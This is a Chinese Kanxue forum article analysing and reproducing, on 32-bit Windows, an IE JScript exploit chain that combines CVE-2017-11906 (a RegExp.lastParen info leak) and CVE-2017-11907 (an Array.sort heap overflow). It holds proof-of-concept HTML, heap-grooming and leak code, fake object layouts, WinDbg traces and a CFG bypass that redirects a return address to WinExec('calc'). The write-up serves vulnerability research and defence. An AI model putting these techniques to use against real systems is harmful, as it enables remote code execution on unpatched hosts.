本文为看雪论坛精华文章
看雪论坛作者ID:银雁冰
目录
IE脚本引擎0day
CVE-2017-11906
CVE-2017-11907
任意地址读写
如何激活大小为0x1000的LFH桶
如何构造假的Object Memory
Bypass CFG
进一步思考:借助office加载js漏洞
参考链接
拓展阅读
在分析本次jscript组合漏洞之前,先跟随笔者回顾一下近几年的IE 0day,这里重点关注脚本引擎(vbscript/jscript/jscript9)相关的0day:
接着跟随笔者一起看一下vbscript漏洞与利用相关的一些时间点:
再跟随笔者看一下jscript相关漏洞的一些时间点:
根据上述趋势,只要微软不禁用jscript,接下来还会有jscript的在野0day出现。vbscript和jscript是微软早期开发的两个脚本引擎,所以安全性问题较多。
与vbscript漏洞的利用细节已经被广泛公开不同,关于jscript漏洞利用的手法,除了谷歌的上述文章,网上基本没有更多细节,所以jscript漏洞的调试目前仍然很难上手。
站在防御者的角度,我们必须预测攻击趋势,并且在攻击者实施下一步攻击之前进行有效防御。从这个出发点考虑,我们必须对jscript系列漏洞的利用方式有所了解。
这一步骤完成后,当后面再出现jscript漏洞时,对漏洞原因/利用方式的分析的时间成本也都会降低。所以,选择一个jscript漏洞进行一番研究是非常有意义的。
基于上述考虑,笔者最近对《aPAColypse now: Exploiting Windows 10 in a Local Network with WPAD/PAC and JScript》这篇文章中涉及到的漏洞进行了详细调试(谷歌慷慨地公开了相关exploit代码,不过只针对win10 64位),根据文章中给出的步骤一步一步在32位环境上复现了RCE。
在这个过程中同时参考了安恒信息安全研究院另一篇分析文章(以下称这篇文章为“之前的分析文章”)。
整套利用代码涉及两个漏洞,一个信息泄露漏洞(CVE-2017-11906)和一个堆溢出漏洞(CVE-2017-11907),这是一个组合漏洞利用链,整个利用链的编写需要注意许多细节,下面先跟随笔者来详细看一下这两个漏洞,然后讨论这个jscript漏洞利用链编写中需要注意的地方。
这是jscript的一个信息泄露漏洞。利用代码中需要借助该漏洞泄露一块稳定的内存地址,用来存储伪造的Jscript Object Memory结构。我们先来看一下该漏洞的官方PoC:
<html>
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">
function go() {
var r = new RegExp(Array(100).join('()'));
''.search(r);
alert(RegExp.lastParen);
}
go();
</script>
</html>
我这里直接引用之前的分析文章中的话来描述这个漏洞:
“这个信息泄露漏洞存在于RegExp.lastParen中,在调用任一RegExp.test、RegExp.exec或者String.search后,jscript!RegExpFncObj中会用数组保存group信息,这些信息实际上是匹配到的内容的开始位置和结束位置。
由于用来保存group信息的数组大小固定为20*4(32位程序中),也就是一共有10组group信息,所以当匹配到的group数量大于10时,RegExp.lastParen过大的下标会导致取值时发生越界读操作。数组中保存的起始位置和结束位置能够提供更大的可读空间,所以可以通过控制数组中的值来控制越界读的范围。”
在这个漏洞的具体使用中,我们主要关注的是RegExp.lastParen函数末尾的一处memcpy,如下:
memcpy有3个参数:Dst,Src,Size。当PoC中的Array(x)的x大小满足一定条件时,Dst对应调用RegExp.lastParen返回给我们的字符串,Src为被search的字符串(假设为str)首地址,Size完全可控,可以通过设置RegExp.input的值去控制Size,所以只要我们设置的RegExp.input超出str.length,即可实现越界读取。
关于32位下Array(X)内x的取值,之前的分析文章中已经指出:
“观察jscript!RegExpFncObj可以发现,如果用31个空括号组成的RegExp去搜索,同时在搜索结束后设置RegExp.input为任意整数,那么RegExp.lastParen的起始值为0而结束值则为RegExp.input设置的整数。”
上述结论在笔者的测试环境中得到了验证。
知道上述关键点后,读者就知道上述漏洞的利用实质是控制memcpy的相关参数,从而越界读取被search的字符串后紧邻的数据。由于非LFH堆的堆块在释放后,头部会存储一些指向下一个堆块的指针。
如果我们可以在非LFH堆中连续申请许多等长字符串,然后释放其中的一半(奇数保留,偶数释放),从而造成大量交替的内存空洞。随后对某个奇数索引对应的字符串进行search,借助这个信息泄露漏洞,就可以越界读取相邻的处于free状态的堆块里存储的另一个被free的堆块指针。
读取相应指针后,再立即用设计好的字符串重用之前被释放的字符串。这样泄露出来的指针就指向一块已经被控的内存。
这部分的代码最终如下:
function infoleak() {
var str = "aaaaaaaaaa";
while(str.length < 10000)
str = str + str;
for(var i=0; i<1000; i++) {
strarr[i] = str.substr(0,10000);
}
for(var i=0; i<500; i++) {
strarr[i*2] = 1;
}
CollectGarbage();
var x = 0x2738;
var r = new RegExp(Array(32).join('()'));
strarr[737].search(r);
RegExp.input = x;
var leak = RegExp.lastParen;
if(leak.length != 0x2738) {
return 0;
}
if((leak.charCodeAt(0x2737) != 0x61) || (leak.charCodeAt(0x2736) != 0x61)) {
return 0;
}
straddress = dwordFromStr(leak, 0x271c) + 4;
if(!isAddress(straddress)) {
return 0;
}
// 此处编写对straddress地址的重用代码
return 1;
}
0:018> bp jscript+31607
0:018> g
Breakpoint 0 hit
eax=0623ea74 ebx=00002738 ecx=028a6498 edx=0623ea74 esi=028a94d8 edi=028a9670
eip=69671607 esp=033fb2fc ebp=033fb31c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
jscript!RegExpFncObj::LastParen+0xa3:
69671607 e89661fdff call jscript!memcpy (696477a2)
0:007> dps esp l3
033fb2fc 05afd8e4 <- Dst
033fb300 0623ea74 <- Src
033fb304 00004e70 <- Size
// Dst是一片大小为0x4e80的内存
0:007> !heap -p -a 05afd8e4
address 05afd8e4 found in
_HEAP @ 1c0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
05afd8d8 09d1 0000 [00] 05afd8e0 04e80 - (busy)
// Dst能存储的有效字符串大小为0x2738
0:007> ? (04e80-0x10)/2
Evaluate expression: 10040 = 00002738
// Src是一片大小为0x4e30的内存
0:007> !heap -p -a 0623ea74
address 0623ea74 found in
_HEAP @ 1c0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0623ea68 09c7 0000 [00] 0623ea70 04e30 - (busy)
// Src里面的有效字符串大小为0x2710(0n10000)
0:007> ? (04e30-0x10)/2
Evaluate expression: 10000 = 00002710
// 前4字节存储长度
0:007> dc 0623ea70
0623ea70 00004e20 00610061 00610061 00610061 N..a.a.a.a.a.a.
0623ea80 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0623ea90 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0623eaa0 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0623eab0 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0623eac0 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0623ead0 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0623eae0 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
// 每个字符串最后再按0x10进行对齐补0,因此总长度会比预想的多0x10
0:007> dc 0623ea70+4e30-10
06243890 00610061 00000000 00000000 00000000 a.a.............
062438a0 9ab2c61a 00349350 0624d518 06239c38 ....P.4...$.8.#.
062438b0 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
062438c0 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
062438d0 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
062438e0 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
062438f0 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
06243900 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
// 再来看一下此时的内存分布
0:007> !heap -flt s 4e30
_HEAP @ 1c0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
...
06239c30 09c7 09c7 [00] 06239c38 04e30 - (free)
0623ea68 09c7 09c7 [00] 0623ea70 04e30 - (busy) <- 被越界读取的字符串
062438a0 09c7 09c7 [00] 062438a8 04e30 - (free) <- 此时它右边相邻的字符串处于被释放状态
062486d8 09c7 09c7 [00] 062486e0 04e30 - (busy)
...
_HEAP @ 10000
_HEAP @ 4b0000
_HEAP @ 25e0000
_HEAP @ 2c00000
// 可以看到这个处于free状态的字符串的内存最前部存储着两个指针
0:007> dc 062438a8(谷歌的文章说win10下这个地方是一个红黑树结构的3个指针,以下为win7下的日志,这里只有2个指针)
062438a8 0624d518 06239c38 00610061 00610061 ..$.8.#.a.a.a.a.
062438b8 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
062438c8 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
062438d8 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
062438e8 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
062438f8 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
06243908 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
06243918 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
// 看一下第一个指针的相关内存
0:007> !heap -p -a 0624d518
address 0624d518 found in
_HEAP @ 1c0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0624d510 09c7 0000 [00] 0624d518 04e30 - (free)
// 正是另一块处于free状态的等大小内存
0:007> dc 624d518
0624d518 06257188 062438a8 00610061 00610061 .q%..8$.a.a.a.a.
0624d528 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0624d538 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0624d548 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0624d558 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0624d568 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0624d578 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0624d588 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0:015> !heap -p -a 0624d518
address 0624d518 found in
_HEAP @ 1c0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0624d510 09c7 0000 [00] 0624d518 04e30 - (busy) <- 已经变成busy状态
// 字符串头部已经被Fake Object Memory的数据占据
0:015> dc 624d518
0624d518 00004e20 00610061 00610061 00610061 N..a.a.a.a.a.a.
0624d528 00610061 00000003 00000000 00000539 a.a.........9...
0624d538 00000000 00000000 00000000 00000402 ................
0624d548 00000004 00610061 00610061 00610061 ....a.a.a.a.a.a.
0624d558 00610061 00390039 00000000 0000400c a.a.9.9......@..
0624d568 00000000 06239c40 00000000 00000000 ....@.#.........
0624d578 00000000 00003c0a 00000006 00610061 .....<......a.a.
0624d588 00610061 00610061 00610061 00330032 a.a.a.a.a.a.2.3.
“在处理如下(1)处的调用时,如果Array.sort输入数组的长度大于Array.length/2,jscript.dll会逐个将数组arr中的元素转化为String。转化的第一步是分配作为存储转化后String变量的内存空间,而分配的大小由当前arr数组中存在的元素的个数决定。转化的第二步是从0到Array.length逐个数组转换元素。转换过程中如果元素存在,那么元素会被转化为String,并写入第一步分配的内存空间中。由于arr[0]的toString回调方法的存在,在转换arr[0]时,(2)标示位置的代码会被执行,(2)代码执行后arr数组中实际存在的元素个数会增加,而第一步分配的内存不会重新分配,于是之后的转换过程中便会导致堆溢出。”
<html>
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">
var arr = new Array(1000);
for(var i=1; i<600; i++) arr[i] = i;
var o = {toString:function() {
for(var i=600; i<1000; i++) {
arr[i] = 1337; <- (2)
}
}}
function go() {
arr[0] = o;
Array.prototype.sort.call(arr); <- (1)
}
go();
</script>
</html>
VAR的内存结构;
Hashtable,Hashtable内存储着一个个Object Memory指针;
Object Memory的内存结构(我们需要在泄露出的内存处构造假的Object Memory);
如何激活指定大小的LFH桶(开启LFH可以让相同内存的分配变得线性可控);
如何让Hashtable的内容和sort过程中临时分配的内存处于相邻状态;
在5的基础上如何实现精确覆盖;
如何构造假的Object Memory才能使Hashtable的查找工作在shellcode执行前保持正常;
需要构造哪些假的Object Memory才能使我们具备任意地址读写能力;
// size of VAR = 0x10
+0x00 type size=0x02
+0x08 value size=0x04
+0x0C extra size=0x04
// size = 0x20 说明
+0x00 pVARAfter size=0x04 转化后的String VAR的指针
+0x04 index size=0x04 当前元素在数组中的顺序
+0x08 VARBefore size=0x10 转化前的VAR结构
+0x18 bValue size=0x04 根据转化前的VAR的类型,为0或者1
+0x1C pad size=0x04 用0补齐
“ 为了达到此目的需要构造5个假的jScript成员对象:var1只包含数据0x1337,作为寻找被覆盖对象的标识。var2的type为0x400c,表明这是个对象是指针,且偏移8的位置保存着指向实际对象的指针。设置偏移8的指针值设置为var1所在内存位置之前的12 byte,使得var2的最后4 byte和var1的前4 byte重合。var3、var4、var5都是整型,但是最后4 byte分别为3、8、0x400c。”
如何激活大小为0x1000的LFH桶
// enable LFH for allocations with size ~0x2000
// function.apply causes malloc (array size * 24) & free to be called
function lfhf() { return 1; }
var lfharr = new Array(lfharrsize);
for(var i=0; i<5000; i++) {
lfhf.apply({}, lfharr);
}
// enable LFH for allocations with size 0x1000
var myarr = new Array(21);
for(var i=0; i<20; i++) {
var o = {};
for(var j=0; j<513; j++)
o[j] = j;
myarr[i] = o;
myarr[i] = 0;
}
“A String VAR points directly to the character array, which means that, to obtain a String's length, the pointer needs to be decremented by 4 and the length read from there. Note that BSTRs are handled by OleAut32.dll and are allocated on a separate heap (i.e. a different heap than is being used for other JScript objects).
Freeing of BSTRs is also different than for most objects because, instead of directly freeing a BSTR, when SysFreeString is called, it first puts a string in a cache controlled by OleAut32.dll. This mechanism is described in detail in Heap Feng Shui in JavaScript.”
0:014> !heap -flt s 1000
_HEAP @ 3b0000
_HEAP @ 10000
_HEAP @ 340000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
...
0b436110 0201 0201 [00] 0b436118 01000 - (busy)
0b437118 0201 0201 [00] 0b437120 01000 - (busy)
0b438120 0201 0201 [00] 0b438128 01000 - (busy)
0b439128 0201 0201 [00] 0b439130 01000 - (busy) <- 左相邻的Hashtable
0b43a130 0201 0201 [00] 0b43a138 01000 - (free)
0b43b138 0201 0201 [00] 0b43b140 01000 - (free)
...
_HEAP @ 1a70000
_HEAP @ 1ee0000
_HEAP @ 3750000
// Hashtable
0:014> dd 0b439130
0b439130 08c57c44 08c57c7c 08c57cb4 00000000
0b439140 00000000 08ca736c 08ca73a4 08ca73dc
0b439150 08ca7414 08ca744c 08ca7484 08ca74bc
0b439160 08ca74f4 08ca752c 08ca7564 00000000
0b439170 00000000 00000000 00000000 00000000
0b439180 00000000 00000000 08ca759c 08ca75d4
0b439190 08ca760c 08ca7644 08ca767c 08ca76b4
0b4391a0 08ca76ec 08ca7724 08ca775c 08ca7794
// Object Memory
0:014> dc 08c57c44 l38/4
08c57c44 00000003 00000000 00000061 00000000 ........a.......
08c57c54 00000000 00000000 00000400 00000004 ................
08c57c64 08c57c7c 00000000 00000062 00000000 ||......b.......
08c57c74 00370039 00000000 9.7.....
0:014> bp jscript+2FBFB ".echo jscript!JsArrayStringHeapSort malloc; !heap -flt s 1000"
0:014> g
(e04.c88): Unknown exception - code 80010108 (first chance)
jscript!JsArrayStringHeapSort malloc
_HEAP @ 3b0000
_HEAP @ 10000
_HEAP @ 340000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
...
0b436110 0201 0201 [00] 0b436118 01000 - (busy)
0b437118 0201 0201 [00] 0b437120 01000 - (busy)
0b438120 0201 0201 [00] 0b438128 01000 - (busy)
0b439128 0201 0201 [00] 0b439130 01000 - (busy) <- 左相邻的Hashtable
0b43a130 0201 0201 [00] 0b43a138 01000 - (busy) <- Sort Buffer
0b43b138 0201 0201 [00] 0b43b140 01000 - (free)
...
_HEAP @ 1a70000
_HEAP @ 1ee0000
_HEAP @ 3750000
_HEAP @ 2070000
eax=0b43a138 ebx=00000000 ecx=770a2fe7 edx=00347d08 esi=00001000 edi=00000080
eip=6876fbfb esp=029eb054 ebp=029eb140 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
jscript!JsArrayStringHeapSort+0xb4:
6876fbfb 59 pop ecx
0:011> !heap -flt s 1000
_HEAP @ 3b0000
_HEAP @ 10000
_HEAP @ 340000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
...
0b436110 0201 0201 [00] 0b436118 01000 - (busy)
0b437118 0201 0201 [00] 0b437120 01000 - (busy)
0b438120 0201 0201 [00] 0b438128 01000 - (busy)
0b439128 0201 0201 [00] 0b439130 01000 - (busy) <- 左相邻的Hashtable
0b43a130 0201 0201 [00] 0b43a138 01000 - (busy) <- Sort Buffer
0b43b138 0201 0201 [00] 0b43b140 01000 - (busy) <- 右相邻的Hashtable
0b43c140 0201 0201 [00] 0b43c148 01000 - (busy)
0b43d148 0201 0201 [00] 0b43d150 01000 - (busy)
0b43e150 0201 0201 [00] 0b43e158 01000 - (busy)
0b43f158 0201 0201 [00] 0b43f160 01000 - (busy)
0b440160 0201 0201 [00] 0b440168 01000 - (busy)
...
_HEAP @ 1a70000
_HEAP @ 1ee0000
_HEAP @ 3750000
_HEAP @ 2070000
0:011> dd 0b43b140
0b43b140 08c58d4c 08c58d84 08c58dbc 00000000
0b43b150 00000000 08ca9574 08ca95ac 08ca95e4
0b43b160 08ca961c 08ca9654 08ca968c 08ca96c4
0b43b170 08ca96fc 08ca9734 08ca976c 00000000
0b43b180 00000000 00000000 00000000 00000000
0b43b190 00000000 00000000 08ca97a4 08ca97dc
0b43b1a0 08ca9814 08ca984c 08ca9884 08ca98bc
0b43b1b0 08ca98f4 08ca992c 08ca9964 08ca999c
0:011> dc 08c58d4c l38/4
08c58d4c 00000003 00000000 00000061 00000000 ........a.......
08c58d5c 00000000 00000000 00000400 00000004 ................
08c58d6c 08c58d84 00000000 00000062 00000000 ........b.......
08c58d7c 00370039 00000000 9.7.....
// 可以看到JsArrayStringHeapSort申请内存的后面紧随一个HEAP_ENTRY,随后即为Hashtable的数据
0:011> dd 0b43a138+0x20*0n128
0b43b138 1d0666ee 88000000 08c58d4c 08c58d84
0b43b148 08c58dbc 00000000 00000000 08ca9574
0b43b158 08ca95ac 08ca95e4 08ca961c 08ca9654
0b43b168 08ca968c 08ca96c4 08ca96fc 08ca9734
0b43b178 08ca976c 00000000 00000000 00000000
0b43b188 00000000 00000000 00000000 00000000
0b43b198 08ca97a4 08ca97dc 08ca9814 08ca984c
0b43b1a8 08ca9884 08ca98bc 08ca98f4 08ca992c
0:011> ba w4 0b43b148
0:011> g
Breakpoint 1 hit
eax=05950d2c ebx=00000080 ecx=00000088 edx=0699e74c esi=0699e74c edi=0b43b140
eip=6875b9ce esp=029eaff0 ebp=029eb048 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
jscript!ArrayObj::GetVal+0xbe:
6875b9ce 8b460c mov eax,dword ptr [esi+0Ch] ds:0023:0699e758=6874652c
0:007> k
ChildEBP RetAddr
029eb048 6876fc76 jscript!ArrayObj::GetVal+0xbe
029eb140 6876fe7e jscript!JsArrayStringHeapSort+0x12f
029eb1b4 687479b0 jscript!JsArraySort+0x10d
029eb21c 68747891 jscript!NatFncObj::Call+0xe8
029eb2ac 6874453c jscript!NameTbl::InvokeInternal+0x2cb
029eb2e4 687a3c8d jscript!VAR::InvokeByDispID+0x53
029eb334 687479b0 jscript!JsFncCall+0xbd
029eb39c 68747891 jscript!NatFncObj::Call+0xe8
029eb42c 687466bc jscript!NameTbl::InvokeInternal+0x2cb
029eb520 68747622 jscript!VAR::InvokeByName+0x1b9
029eb56c 687475d6 jscript!VAR::InvokeDispName+0x3e
029eb598 687444a7 jscript!VAR::InvokeByDispID+0x310a
029eb990 687448ff jscript!CScriptRuntime::Run+0x12b9
029eba8c 68744783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f
029ebae4 68744688 jscript!ScrFncObj::Call+0x7b
029ebb74 6874453c jscript!NameTbl::InvokeInternal+0x2cb
029ebba8 687444a7 jscript!VAR::InvokeByDispID+0x53
029ebfa0 687448ff jscript!CScriptRuntime::Run+0x12b9
029ec09c 68744783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f
029ec0f4 68744cc3 jscript!ScrFncObj::Call+0x7b
// 可以看到Hashtable内0x0b43b148处存储的表项已经变成了05950d2c
0:007> dd 0b43a138+0x20*0n128
0b43b138 1d0666ee 88000000 770a0003 029eb3fc
0b43b148 05950d2c 00000000 00000000 08ca9574
0b43b158 08ca95ac 08ca95e4 08ca961c 08ca9654
0b43b168 08ca968c 08ca96c4 08ca96fc 08ca9734
0b43b178 08ca976c 00000000 00000000 00000000
0b43b188 00000000 00000000 00000000 00000000
0b43b198 08ca97a4 08ca97dc 08ca9814 08ca984c
0b43b1a8 08ca9884 08ca98bc 08ca98f4 08ca992c
// 而05950d2c正是我们通过信息泄露漏洞伪造得到的可控字符串
0:007> dc 05950d2c l38/4
05950d2c 00000003 00000000 00000539 00000000 ........9.......
05950d3c 00000000 00000000 00000402 00000004 ................
05950d4c 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
05950d5c 00390039 00000000 9.9.....
0:007> ? 00000539
Evaluate expression: 1337 = 00000539
// 内存中伪造的5个精心设计的Object Memory
0:007> dc 05950d2c L(0x38 * 5)/4
05950d2c 00000003 00000000 00000539 00000000 ........9.......
05950d3c 00000000 00000000 00000402 00000004 ................
05950d4c 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
05950d5c 00390039 00000000 0000400c 00000000 9.9......@......
05950d6c 05950d20 00000000 00000000 00000000 ...............
05950d7c 00003c0a 00000006 00610061 00610061 .<......a.a.a.a.
05950d8c 00610061 00610061 00330032 00000035 a.a.a.a.2.3.5...
05950d9c 00000003 00000000 0000053b 00000003 ........;.......
05950dac 00000000 00000000 00003c1a 00000006 .........<......
05950dbc 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
05950dcc 00340032 00000034 00000003 00000000 2.4.4...........
05950ddc 0000053c 00000008 00000000 00000000 <...............
05950dec 00003c2a 00000006 00610061 00610061 *<......a.a.a.a.
05950dfc 00610061 00610061 00350032 00000033 a.a.a.a.2.5.3...
05950e0c 00000003 00000000 0000053d 0000400c ........=....@..
05950e1c 00000000 00000000 00000032 00000002 ........2.......
05950e2c 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
05950e3c 00000032 00610000 2.....a.
如何构造假的Object Memory
32位下的fakeVAR函数应该怎么写?
每个Fake Object Memory的arrindex,objindex,hash之间的关系如何得出?
0:017> dd b855520+1000
0b856520 5b6468fe 88000000 08e0bd3c 08e0bd74
0b856530 -> 08e0bdac 00000000 00000000 08e5c564 <- arrindex=128
0b856540 08e5c59c 08e5c5d4 08e5c60c 08e5c644
0b856550 -> 08e5c67c 08e5c6b4 08e5c6ec 08e5c724 <- arrindex=129
0b856560 08e5c75c 00000000 00000000 00000000
0b856570 00000000 00000000 00000000 00000000
0b856580 08e5c794 08e5c7cc 08e5c804 08e5c83c
0b856590 -> 08e5c874 08e5c8ac 08e5c8e4 08e5c91c <- arrindex=131
0:017> dd
0b8565a0 08e5c954 08e5c98c 00000000 00000000
0b8565b0 00000000 00000000 00000000 00000000
0b8565c0 00000000 08e5c9c4 08e5c9fc 08e5ca34
0b8565d0 -> 08e5ca6c 08e5caa4 08e5cadc 08e5cb14 <- arrindex=133
0b8565e0 08e5cb4c 08e5cb84 08e5cbbc 08d93938
0b8565f0 -> 08d9396c 08d939a0 08e8ecec 08e8ed20 <- arrindex=134
0b856600 08e8ed54 08e8ed88 08e5cbf4 08e5cc2c
0b856610 08e5cc64 08e5cc9c 08e5ccd4 08e5cd0c
0:017> dc 08e0bdac l38/4
08e0bdac 00000003 00000000 00000063 00000000 ........c.......
08e0bdbc 00000000 00000000 00000402 00000004 ................
08e0bdcc 08e0bde4 00000000 00000064 00000000 ........d.......
08e0bddc 00390039 00000000 9.9.....
0:017> dc 08e5c67c l38/4
08e5c67c 00000003 00000000 000000eb 00000000 ................
08e5c68c 00000000 00000000 00003c0a 00000006 .........<......
08e5c69c 08e5c6b4 00000000 000000ec 00000000 ................
08e5c6ac 00330032 00000035 2.3.5...
0:017> dc 08e5c874 l38/4
08e5c874 00000003 00000000 000000f4 00000000 ................
08e5c884 00000000 00000000 00003c1a 00000006 .........<......
08e5c894 08e5c8ac 00000000 000000f5 00000000 ................
08e5c8a4 00340032 00000034 2.4.4...
0:017> dc 08e5ca6c l38/4
08e5ca6c 00000003 00000000 000000fd 00000000 ................
08e5ca7c 00000000 00000000 00003c2a 00000006 ........*<......
08e5ca8c 08e5caa4 00000000 000000fe 00000000 ................
08e5ca9c 00350032 00000033 2.5.3...
0:017> dc 08d9396c l38/4
08d9396c 00000003 00000000 00000002 00000000 ................
08d9397c 00000000 00000000 00000032 00000002 ........2.......
08d9398c 08d939a0 00000000 00000003 00000000 .9..............
08d9399c 00000032 00000003 2.......
Jscript Object:
+ 0x00 Jscript!NameTbl
+0x0C pCSession // Jscript!CSession对象指针
Jscript!CSession(size = 0x2F0)
+0x18 pOleScript // Jscript!OleScript对象指针
+0x2C pNativeStack // 一个指向Native栈的指针
“由于栈空间中存在关键性数据,一旦改变可能在函数没有返回前产生崩溃,所以在修改栈空间时需要避免修改这些数据。”
// 覆写前
0:000> dps 2f09098-10 l10
02f09088 00000020
02f0908c 024535c2
02f09090 02f090a4
02f09094 0de70b50
02f09098 02f09490
02f0909c 699a44a7 jscript!CScriptRuntime::Run+0x12b9 <- 覆写前的返回地址
02f090a0 02435ea8
02f090a4 00000000
02f090a8 00000001
02f090ac 00000000
02f090b0 00000002
02f090b4 0de70af0
02f090b8 00000000
02f090bc 0dbc6f21
02f090c0 00000000
02f090c4 024358c8
0:000> bp kernel32!WinExec
0:000> g
(cf0.f78): Break instruction exception - code 80000003 (first chance)
eax=7ff9c000 ebx=00000000 ecx=00000000 edx=770ef1d3 esi=00000000 edi=00000000
eip=77084108 esp=0efafac0 ebp=0efafaec iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77084108 cc int 3
0:015> g
Breakpoint 0 hit
eax=00000000 ebx=02f094b8 ecx=0dbc6bd5 edx=02435ea8 esi=024535c2 edi=00000020
eip=760dedae esp=02f090bc ebp=00000003 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
kernel32!WinExec:
760dedae 8bff mov edi,edi
// 覆写后
0:007> dps 2f09098-10 l10
02f09088 00000020
02f0908c 024535c2
02f09090 00000003 <- 受限写导致额外写入的数据
02f09094 00000000 <- 受限写导致额外写入的数据
02f09098 00000003 <- 受限写导致额外写入的数据
02f0909c 760dedae kernel32!WinExec <- 覆写为 WinExec 函数的地址
02f090a0 02435ea8
02f090a4 00000000
02f090a8 00000000
02f090ac 00000000
02f090b0 00000002
02f090b4 00000000
02f090b8 00000000
02f090bc 0dbc6f21
02f090c0 055ccdcc <- WinExec参数: lpCmdLine
02f090c4 00000001 <- WinExec参数: uCmdShow
0:007> dd esp l4
02f090bc 0dbc6f21 055ccdcc 00000001 024555b8
// lpCmdLine
0:007> da 055ccdcc
055ccdcc "calc"
看雪ID:银雁冰
https://bbs.pediy.com/user-628056.htm
推荐文章++++